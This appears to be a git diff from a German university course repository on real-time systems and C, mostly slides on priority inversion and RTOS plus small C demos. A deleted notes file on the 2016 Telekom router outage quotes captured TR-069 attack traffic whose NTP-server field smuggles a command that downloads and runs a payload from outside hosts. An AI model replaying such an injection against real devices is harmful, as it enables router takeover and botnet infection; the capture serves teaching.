-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-      \put(0,1){\line(1,0){10}}
-
-      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-      \only<1-2>{%
-        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \only<2>{%
-        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        {\thicklines
-        \put(3.3,2.95){\line(2,1){1.0}}
-        \put(3.3,3.45){\line(2,-1){1.0}}}
-      }
-
-      \only<3->{%
-        \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}}
-        \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
-        \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \bigskip
-
-  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
-%      }
-      \put(0,1){\line(1,0){10}}
-
-%      \only<1>{%
-%        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
-%        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
-%      }
-      \put(0,2){\line(1,0){10}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-%      \only<1>{%
-%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-%      }
-      \put(0,3){\line(1,0){10}}
-
-%      \only<2>{%
-%      \only<2>{%
-        \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
-        \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
-        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
-        \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
-        \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
-        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
-%      }
-    \end{picture}
-  \end{center}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ein Prozeß mit mittlerer Priorität bewirkt,
-  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
-
-  \medskip
-
-  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
-
-  \medskip
-
-  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
-
-  \bigskip
-
-  Gegenmaßnahmen
-  \begin{itemize}
-    \item
-      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
-      Der Besitzer des Mutex erbt die Priorität\\
-      des Prozesses, der auf den Mutex wartet.
-    \smallskip
-    \item
-      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
-      Der Besitzer des Mutex bekommt sofort\\
-      die Priorität des höchstmöglichen Prozesses,\\
-      der evtl.\ den Mutex benötigen könnte.
-      \pause
-      \begin{picture}(0,0)
-        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
-          \begin{minipage}{4cm}
-            nur möglich, wenn\\
-            Mutexe im Spiel sind
-          \end{minipage}}}
-      \end{picture}
-    \smallskip
-    \pause
-    \item
-      \newterm{Priority Aging}\\
-      Die Priorität wächst mit der Wartezeit.
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \showsectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Einführung}
-      \begin{itemize}
-        \item[1.1] Was ist Echtzeit?
-        \item[1.2] Echtzeitprogrammierung
-      \end{itemize}
-    \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
-      \begin{itemize}
-        \color{medgreen}
-        \item[2.1] Multitasking
-        \item[2.2] Ressourcen
-        \item[2.3] Prioritäten
-      \end{itemize}
-    \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
-      \begin{itemize}
-        \color{red}
-        \item[3.1] Definition
-        \item[3.2] Beispiele
-      \end{itemize}
-    \item[\textbf{4}] \textbf{Frameworks}
-      \begin{itemize}
-        \item[\textbf{4.1}] TFC Event Channel
-        \item[\textbf{4.2}] AUTOSAR
-        \item[\textbf{4.3}] Wietzke-Tran-Framework
-      \end{itemize}
-  \end{itemize}
-
-\end{frame}
-
-\section{Echtzeitbetriebssysteme}
-\subsection{Definition}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Wikipedia:
-  \begin{quote}
-    Ein \newterm{Echtzeitbetriebssystem\/} (englisch \newterm{real-time operating system},\\
-    kurz \newterm{RTOS\/} genannt) ist ein Betriebssystem mit zusätzlichen Echtzeit-Funktionen
-    für die unbedingte Einhaltung von Zeitbedingungen
-    und die Vorhersagbarkeit des Prozessverhaltens (hartes Echtzeitverhalten).
-  \end{quote}
- 
-  \pause
-  \vspace{-0.5cm}
-  \begin{displaymath}
-    \text{Echtzeitbetriebssystem}
-      ~=~ \text{Betriebssystem}
-      ~+~ \left(\begin{array}{c}
-            \text{Semaphoren} \\
-            \text{Mutexe} \\
-            \text{Spinlocks} \\
-            \text{Prioritätsvererbung} \\
-            \text{Prioritätsobergrenze} \\
-            \text{Prioritätsalterung}
-          \end{array}\right)
-  \end{displaymath}
-
-\end{frame}
-
-\subsection{Beispiele}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \renewcommand{\arraystretch}{1.2}
-
-  \begin{center}
-    \begin{tabular}{|l|l|l|l|}\hline
-      Name & Lizenz & kompatibel zu & Besonderheiten \\\hline\hline
-      TinyOS & BSD & -- & kooperativ, eigene Sprache \\\hline
-      FreeRTOS & GPL & -- & \\\hline
-      MicroC/OS-II & prop. & -- & \\\hline
-      eCos & GPL & Unix & stark konfigurierbar \\\hline
-      QNX & prop. & Unix & \\\hline
-      VxWorks & prop. & Unix & \\\hline
-      RTAI & GPL & Unix (Linux) & Linux als Hintergrundprozeß \\\hline
-      RT\_PREEMPT & GPL & Unix (Linux) & angepaßter Kernel \\\hline
-      Windows CE & prop. & MS-Windows & \\\hline
-    \end{tabular}
-  \end{center}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \showsectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Einführung}
-      \begin{itemize}
-        \item[1.1] Was ist Echtzeit?
-        \item[1.2] Echtzeitprogrammierung
-      \end{itemize}
-    \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
-      \begin{itemize}
-        \item[2.1] Multitasking
-        \item[2.2] Ressourcen
-        \item[2.3] Prioritäten
-      \end{itemize}
-    \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
-      \begin{itemize}
-        \item[3.1] \color{medgreen}Definition
-        \item[3.2] Beispiele
-      \end{itemize}
-    \item[\textbf{4}] \textbf{Frameworks}
-      \begin{itemize}
-        \item[4.1] \color{red}TFC Event Channel
-        \item[4.2] AUTOSAR
-        \item[4.3] Wietzke-Tran-Framework
-      \end{itemize}
-%    \bigskip
-%    \item[\textbf{U}] \textbf{Einführung in Unix}
-%    \item[\textbf{X}] \textbf{Einführung in die GUI-Programmierung}
-  \end{itemize}
-
-\end{frame}
-
-\section{Frameworks}
-\subsection{TFC Event Channel}
-
-\begin{frame}[fragile]
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{5cm}
-    Anforderungen:
-    \begin{itemize}
-      \item
-        Aktoren und Sensoren\\
-        sollen gemäß vorgegebe-\\
-        nen Regeln interagieren.
-      \item
-        weiche und harte Echtzeit
-      \item
-        hohe Anpaßbarkeit
-    \end{itemize}
-  \end{minipage}\hfill
-  \begin{minipage}[t]{7.25cm}
-    \only<1>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{csa2.jpg}}}
-    \begin{onlyenv}<2-4>
-      1.\ Lösung: CORBA (TAO/ACE)
-      \begin{itemize}
-        \item
-          Programme kommunizieren per TCP/IP über \newterm{Events\/}
-          (Ereignisse und Zustände).
-        \item
-          C++-Programme reagieren auf Events\\
-          über \newterm{Callbacks\/} (virtuelle Methoden).
-        \item
-          Abfrage von Zustandsänderungen\\
-          über \newterm{Polling}
-      \end{itemize}
-      \vspace*{-1cm}
-    \end{onlyenv}
-    \begin{onlyenv}<5->
-      2.\ Lösung: Eigener Event-Channel
-      \begin{itemize}
-        \item
-          Programme kommunizieren per TCP/IP über \newterm{Events\/}
-          (Ereignisse und Zustände).
-        \item
-          C++-Programme reagieren auf Events\\
-          und Zustandsänderungen\\
-          über \newterm{Callbacks\/} (virtuelle Methoden).
-        \item
-          speziell entwickelte\\
-          Programmiersprache: \lstinline{logic}
-        \item<7->
-          Schneller als TAO/ACE, aber (noch) keine harte Echtzeit
-      \end{itemize}
-      \vspace*{-2cm}
-    \end{onlyenv}
-  \end{minipage}
-
-  \bigskip
-
-  \begin{onlyenv}<3>
-    Wikipedia:
-    \begin{quote}
-      The ACE ORB (TAO) ist eine freie, Open-Source
-      Standard-kompatible echtzeitfähige Implementierung von CORBA
-      in C++ basierend auf dem ACE-Framework. TAO bietet eine
-      skalierbare Dienstgüte (Quality of Service QoS) für die
-      gesamte Kommunikationsstrecke (end-to-end).
-
-      Im Unterschied zu konventionellen Implementierungen von CORBA
-      wendet TAO Softwarepraktiken und Muster an, um die
-      Automatisierung von hochperformanten Echtzeit QoS für
-      verteilte Anwendungen zu vereinfachen.
-    \end{quote}
-    \vspace*{-1cm}
-  \end{onlyenv}
-  \begin{onlyenv}<4>
-    Praxis:
-    \begin{itemize}
-      \item
-        typische Antwortzeit: 1 Sekunde
-      \item
-        unzuverlässig
-      \item
-        neue Events erfordern Neustart der grundlegenden Dienste\\
-        \textarrow\ Verzögerungen, insbesondere im Team
-    \end{itemize}
-  \end{onlyenv}
-  \begin{onlyenv}<6->
-    \begin{lstlisting}[gobble=6]
-      when i_gui_ns do
-        f_ns = !f_ns;
-    \end{lstlisting}
-    \medskip
-    \begin{lstlisting}[gobble=6]
-      when i_coc_sign_ns_on_sw do
-        f_ns = TriggerValue;
-    \end{lstlisting}
-    \medskip
-    \begin{lstlisting}[gobble=6]
-      when f_ns do
-        i_sound_note_on = Note (SAMPLER_CABIN, SND_CHIME_LO, 0.3);
-    \end{lstlisting}
-    \medskip
-    \begin{lstlisting}[gobble=6]
-      o_ns_light_1, o_ns_light_2, o_ns_light_3, o_ns_light_4,
-                    o_ns_light_5, o_ns_light_6, o_ns_light_7, o_ns_light_8 = f_ns;
-    \end{lstlisting}
-  \end{onlyenv}
-  \vspace{-0.5cm}
-
-\end{frame}
-
-\subsection{AUTOSAR}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{5cm}
-    Anforderungen:
-    \begin{itemize}
-      \item
-        Aktoren und Sensoren\\
-        sollen gemäß vorgegebe-\\
-        nen Regeln interagieren.
-      \item
-        weiche und harte Echtzeit
-      \item[\textbf{?}]
-        hohe Anpaßbarkeit
-      \item[\textbf{!\hspace*{1pt}}]<2->
-        Verbergen von Details\\
-        vor der Konkurrenz
-    \end{itemize}
-  \end{minipage}\hfill
-  \begin{minipage}[t]{7.25cm}
-    \only<1-2>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{BMW_F01_front_20081213.jpg}}}
-    \begin{onlyenv}<3->
-      Lösung: AUTOSAR
-      \begin{itemize}
-        \item
-          Programme kommunizieren per\\
-          \newterm{Virtual Functional Bus (VFB)\/}\\
-          über Ereignisse und Zustände.
-        \item
-          Programme laufen oberhalb eines\\
-          \newterm{Run Time Environment (RTE)}
-        \item
-          Standardisierte \newterm{Application Program-\\ming Interfaces (API)}
-      \end{itemize}
-      \vspace*{-1cm}
-    \end{onlyenv}
-  \end{minipage}
-
-  \bigskip
-
-  \begin{onlyenv}<4->
-    \begin{itemize}
-      \item
-        Topologie der \newterm{Electronic Control Units (ECU)\/}\only<5->{: XML-Datei}
-      \item
-        Systemkonfiguration\only<5->{: XML-Datei}
-      \item<6->
-        graphische Programmierwerkzeuge:\\
-        UML-Diagramme, MATLAB/Simulink
-      \item<6->
-        Code wird generiert\only<7->{\\\textarrow\
-        \only<8->{(hoffentlich)} weniger fehleranfällig,
-        \only<8->{(hoffentlich)} trotzdem effizient}
-    \end{itemize}
-  \end{onlyenv}
-  \vspace{-0.5cm}
-
-\end{frame}
-
-\subsection{Wietzke-Tran-Framework}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{5cm}
-    Anforderungen:
-    \begin{itemize}
-      \item
-        Aktoren und Sensoren\\
-        sollen gemäß vorgegebe-\\
-        nen Regeln interagieren.
-      \item
-        weiche und harte Echtzeit
-      \item
-        hohe Anpaßbarkeit
-      \item[\textbf{!\hspace*{1pt}}]<2->
-        unterstützt auch\\\newterm{Media Oriented\\Systems Transport Bus (MOST-Bus)}
-    \end{itemize}
-  \end{minipage}\hfill
-  \begin{minipage}[t]{7.25cm}
-    \only<1-2>{\makebox(0,0)[tl]{\includegraphics[width=7.25cm]{BMW_F01_front_20081213.jpg}}}
-    \begin{onlyenv}<3>
-      \addtolength{\leftskip}{1em}
-
-      \sectionnonumber{Literaturempfehlung}
-      \subsectionnonumber{Automotive Embedded Systeme}
-      \setcounter{subsection}{3}
-
-      \showsectionnonumber
-
-      Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-      Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-
-      \medskip
-
-      \showsubsectionnonumber
-
-      \vspace{-\medskipamount}
-
-      Springer-Verlag, Berlin, Heidelberg 2005
-
-      \bigskip
-
-      Lizenz: proprietär
-
-      \medskip
-
-      (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-
-    \end{onlyenv}
-  \end{minipage}
-
-\end{frame}
-
-\sectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \showsectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Einführung}
-      \begin{itemize}
-        \item[1.1] Was ist Echtzeit?
-        \item[1.2] Echtzeitprogrammierung
-      \end{itemize}
-    \item[\textbf{2}] \textbf{Theorie der Echtzeitsysteme}
-      \begin{itemize}
-        \item[2.1] Multitasking
-        \item[2.2] Ressourcen
-        \item[2.3] Prioritäten
-      \end{itemize}
-    \item[\textbf{3}] \textbf{Echtzeitbetriebssysteme}
-      \begin{itemize}
-        \item[3.1] \only<1>{\color{medgreen}}Definition
-        \item[3.2] Beispiele
-      \end{itemize}
-    \item[\textbf{4}] \textbf{Frameworks}
-      \begin{itemize}
-        \item[\textbf{4.1}] \only<1>{\color{medgreen}}TFC Event Channel
-        \item[\textbf{4.2}] AUTOSAR
-        \item[\textbf{4.3}] Wietzke-Tran-Framework
-      \end{itemize}
-  \end{itemize}
-  \pause
-
-\end{frame}
-
-\end{document}
diff --git a/20161124/tafelbild-20161124-1.jpg b/20161124/tafelbild-20161124-1.jpg
deleted file mode 100644
index 20bdf759ac826ab66266755e927afa606843180f..0000000000000000000000000000000000000000
Binary files a/20161124/tafelbild-20161124-1.jpg and /dev/null differ
diff --git a/20161124/tafelbild-20161124-2.jpg b/20161124/tafelbild-20161124-2.jpg
deleted file mode 100644
index 74eeb66218af4972837682ba4eab43c2210ff430..0000000000000000000000000000000000000000
Binary files a/20161124/tafelbild-20161124-2.jpg and /dev/null differ
diff --git a/20161124/tafelbild-20161124-3.jpg b/20161124/tafelbild-20161124-3.jpg
deleted file mode 100644
index e3f8716f95c275349dac48e6c0bc177a5ddfbdac..0000000000000000000000000000000000000000
Binary files a/20161124/tafelbild-20161124-3.jpg and /dev/null differ
diff --git a/20161201/make-zombies-1.c b/20161201/make-zombies-1.c
deleted file mode 100644
index 3626861d638c8ad6dc8c5c0831b9f5190e20a4dc..0000000000000000000000000000000000000000
--- a/20161201/make-zombies-1.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
- 
-int main(void){
-    pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
-    int i; // Laufvariable
- 
-    for (i = 0; i < 10; ++i) {
-        // Der Vaterprozess erzeugt nun einen Kindprozess,
-        // welcher unabh�ngig vom Vaterprozess mit der
-        // erneuten Ausf�hrung des Programms beginnt.
-        // Ein Kindprozess erzeugt keinen Fork von sich selbst.
-        pids[i] = fork();
-        if (pids[i] == 0) {
-            // dann befinden wir uns in einem der 10 Kindprozesse
-            // Der erste Kindprozess wartet 10 Sekunden und jeder
-            // weitere Kindprozess wartet 1 Sekunde k�rzer als der
-            // vorige.
-            printf ("%d BRAINS! ", i);
-            sleep(10-i);
-            exit(0); // Kindprozess erfolgreich beenden
-        }
-    }
-
-//
-    // hier kommt nur der Vaterprozess vorbei
-    for (i = 0; i < 10; ++i){
-        // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-        // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-        // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-        // die anderen Kinder l�ngst erfolgreich beendet wurden,
-        // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-        waitpid(pids[i], NULL, 0);
-    }
-//
-
-//    while (1);
-    return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161201/make-zombies-2.c b/20161201/make-zombies-2.c
deleted file mode 100644
index d43b17e278e3df5c2373600753d6ac53d89f7af7..0000000000000000000000000000000000000000
--- a/20161201/make-zombies-2.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
- 
-int main(void){
-    pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
-    int i; // Laufvariable
- 
-    for (i = 0; i < 10; ++i) {
-        // Der Vaterprozess erzeugt nun einen Kindprozess,
-        // welcher unabh�ngig vom Vaterprozess mit der
-        // erneuten Ausf�hrung des Programms beginnt.
-        // Ein Kindprozess erzeugt keinen Fork von sich selbst.
-        pids[i] = fork();
-        if (pids[i] == 0) {
-            // dann befinden wir uns in einem der 10 Kindprozesse
-            // Der erste Kindprozess wartet 10 Sekunden und jeder
-            // weitere Kindprozess wartet 1 Sekunde k�rzer als der
-            // vorige.
-            printf ("%d BRAINS! ", i);
-            sleep(10-i);
-            exit(0); // Kindprozess erfolgreich beenden
-        }
-    }
-
-//
-//    // hier kommt nur der Vaterprozess vorbei
-//    for (i = 0; i < 10; ++i){
-//        // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-//        // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-//        // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-//        // die anderen Kinder l�ngst erfolgreich beendet wurden,
-//        // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-//        waitpid(pids[i], NULL, 0);
-//    }
-//
-
-//    while (1);
-    return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161201/make-zombies-3.c b/20161201/make-zombies-3.c
deleted file mode 100644
index 82d671c075e1db7879e8b040f12a8543c0c7436a..0000000000000000000000000000000000000000
--- a/20161201/make-zombies-3.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
- 
-int main(void){
-    pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
-    int i; // Laufvariable
- 
-    for (i = 0; i < 10; ++i) {
-        // Der Vaterprozess erzeugt nun einen Kindprozess,
-        // welcher unabh�ngig vom Vaterprozess mit der
-        // erneuten Ausf�hrung des Programms beginnt.
-        // Ein Kindprozess erzeugt keinen Fork von sich selbst.
-        pids[i] = fork();
-        if (pids[i] == 0) {
-            // dann befinden wir uns in einem der 10 Kindprozesse
-            // Der erste Kindprozess wartet 10 Sekunden und jeder
-            // weitere Kindprozess wartet 1 Sekunde k�rzer als der
-            // vorige.
-            printf ("%d BRAINS! ", i);
-            sleep(10-i);
-            exit(0); // Kindprozess erfolgreich beenden
-        }
-    }
-
-//
-//    // hier kommt nur der Vaterprozess vorbei
-//    for (i = 0; i < 10; ++i){
-//        // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-//        // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-//        // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-//        // die anderen Kinder l�ngst erfolgreich beendet wurden,
-//        // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-//        waitpid(pids[i], NULL, 0);
-//    }
-//
-
-    while (1);
-//    return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161201/photo-20161201-150010.jpg b/20161201/photo-20161201-150010.jpg
deleted file mode 100644
index dfe8549dd590b662e7386bd09adb4f5edcd252f7..0000000000000000000000000000000000000000
Binary files a/20161201/photo-20161201-150010.jpg and /dev/null differ
diff --git a/20161208/hp-20161208.txt b/20161208/hp-20161208.txt
deleted file mode 100644
index 67b6ee887cd3eabb9107edf772e9ea75e46c4e38..0000000000000000000000000000000000000000
--- a/20161208/hp-20161208.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-Großstörung bei der Telekom, 27.11.2016
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Berichterstattung bei Heise Online:
- - https://heise.de/-3505820 - Großstörung im Telekom-Netz
- - https://heise.de/-3506044 - Die Telekom prüft Hinweise auf Hackerangriff
- - https://heise.de/-3506556 - BSI warnt vor weltweitem Hackerangriff auf DSL-Modems
- - https://heise.de/-3507088 - Angreifer nutzten Lücke und Botnetz-Code
- - https://heise.de/-3520212 - Großstörung bei der Telekom: Was wirklich geschah
-
-Informationen zu dem TRE-069-Exploit:
- - https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759
- - https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/
-
-Aktiver Angriff auf den TRE-069-Port, aufgefangen mit nc -l -p 7547
-
-  <NewNTPServer1>
-  `cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`
-  </NewNTPServer1>
-
-Selbst durchgeführter Test: nc -l -p 7547
-
-  nc: listening on :: 7547 ...                                                         
-  nc: listening on 0.0.0.0 7547 ...                                                    
-  nc: connect to 46.4.31.171 7547 from                          
-  node-jcm.pool-125-27.dynamic.totbb.net (125.27.97.246) 44932 [44932]                 
-  POST /UD/act?1 HTTP/1.1                                                              
-  Host: 127.0.0.1:7547                              
-  User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)       
-  SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers                            
-  Content-Type: text/xml                                                               
-  Content-Length: 519                                                                  
-                                                                                       
-  <?xml version="1.0"?><SOAP-ENV:Envelope                                              
-  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"                           
-  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">                  
-  <SOAP-ENV:Body>  <u:SetNTPServers                      
-  xmlns:u="urn:dslforum-org:service:Time:1">   <NewNTPServer1>`cd
-  /var/tmp;cd /tmp;wget http://binpt.pw/a;sh a`</NewNTPServer1>
-  <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>
-  <NewNTPServer4></NewNTPServer4>   <NewNTPServer5></NewNTPServer5>
-  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>
diff --git a/20161208/photo-20161208-144033.jpg b/20161208/photo-20161208-144033.jpg
deleted file mode 100644
index d4c57a2ab737386d23a0fb943aad94ad456242e8..0000000000000000000000000000000000000000
Binary files a/20161208/photo-20161208-144033.jpg and /dev/null differ
diff --git a/20161215/function-call.c b/20161215/function-call.c
deleted file mode 100644
index b2db5145e720b39de50d37e98365b02f1bb25ca2..0000000000000000000000000000000000000000
--- a/20161215/function-call.c
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-
-void hello (void)
-{
-  printf ("Hello, world!\n");
-}
-
-int main (void)
-{
-  hello ();
-  return 0;
-}
diff --git a/20161215/function-call.s b/20161215/function-call.s
deleted file mode 100644
index 787fe5f16ced6b27c970af8ed29faf6a417e58f0..0000000000000000000000000000000000000000
--- a/20161215/function-call.s
+++ /dev/null
@@ -1,37 +0,0 @@
-	.file	"function-call.c"
-	.section	.rodata.str1.1,"aMS",@progbits,1
-.LC0:
-	.string	"Hello, world!"
-	.text
-	.globl	hello
-	.type	hello, @function
-hello:
-.LFB11:
-	.cfi_startproc
-	subq	$8, %rsp
-	.cfi_def_cfa_offset 16
-	movl	$.LC0, %edi
-	call	puts
-	addq	$8, %rsp
-	.cfi_def_cfa_offset 8
-	ret
-	.cfi_endproc
-.LFE11:
-	.size	hello, .-hello
-	.globl	main
-	.type	main, @function
-main:
-.LFB12:
-	.cfi_startproc
-	subq	$8, %rsp
-	.cfi_def_cfa_offset 16
-	call	hello
-	movl	$0, %eax
-	addq	$8, %rsp
-	.cfi_def_cfa_offset 8
-	ret
-	.cfi_endproc
-.LFE12:
-	.size	main, .-main
-	.ident	"GCC: (Debian 4.9.2-10) 4.9.2"
-	.section	.note.GNU-stack,"",@progbits
diff --git a/20161215/photo-20161215-182130.jpg b/20161215/photo-20161215-182130.jpg
deleted file mode 100644
index 9be08251819e90f134d99e97bd4657e6e7eb25fd..0000000000000000000000000000000000000000
Binary files a/20161215/photo-20161215-182130.jpg and /dev/null differ
diff --git a/20161215/photo-20161215-182223.jpg b/20161215/photo-20161215-182223.jpg
deleted file mode 100644
index c4d352bd11c79ba35b0e60caeb5abb6d42222e37..0000000000000000000000000000000000000000
Binary files a/20161215/photo-20161215-182223.jpg and /dev/null differ
diff --git a/20170413/arrays-pointers-000.c b/20170413/arrays-pointers-000.c
new file mode 100644
index 0000000000000000000000000000000000000000..cf1cfab42b84885644c1f6ae4f4411c7ac427277
--- /dev/null
+++ b/20170413/arrays-pointers-000.c
@@ -0,0 +1,11 @@
+#include <stdio.h>
+
+char a[] = "Test";
+char *p = "Test";
+
+int main (void)
+{
+  printf ("%s\n", a);
+  printf ("%s\n", p);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-001.c b/20170413/arrays-pointers-001.c
new file mode 100644
index 0000000000000000000000000000000000000000..c6fefcc7c60f814c46b5ecb6c25cb39780f38822
--- /dev/null
+++ b/20170413/arrays-pointers-001.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-002.c b/20170413/arrays-pointers-002.c
new file mode 100644
index 0000000000000000000000000000000000000000..2592b4153b94c80771b2b01018153742b7320abd
--- /dev/null
+++ b/20170413/arrays-pointers-002.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  *a++;
+  printf ("%c\n", **p);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-003.c b/20170413/arrays-pointers-003.c
new file mode 100644
index 0000000000000000000000000000000000000000..20b7b84868fe938cae0fdefac87c2529400d7f5b
--- /dev/null
+++ b/20170413/arrays-pointers-003.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+
+char *a[] = { "Dies", "ist", "ein", "Test" };
+char **p = a;
+
+int main (void)
+{
+  printf ("%c\n", **p);
+  p++;
+  printf ("%c\n", **p);
+  (*a)++;
+  printf ("%c\n", **p);
+  return 0;
+}
diff --git a/20170413/arrays-pointers-004.c b/20170413/arrays-pointers-004.c
new file mode 100644
index 0000000000000000000000000000000000000000..892cbea5c1e3fec7b41112d9473260765a4adf98
--- /dev/null
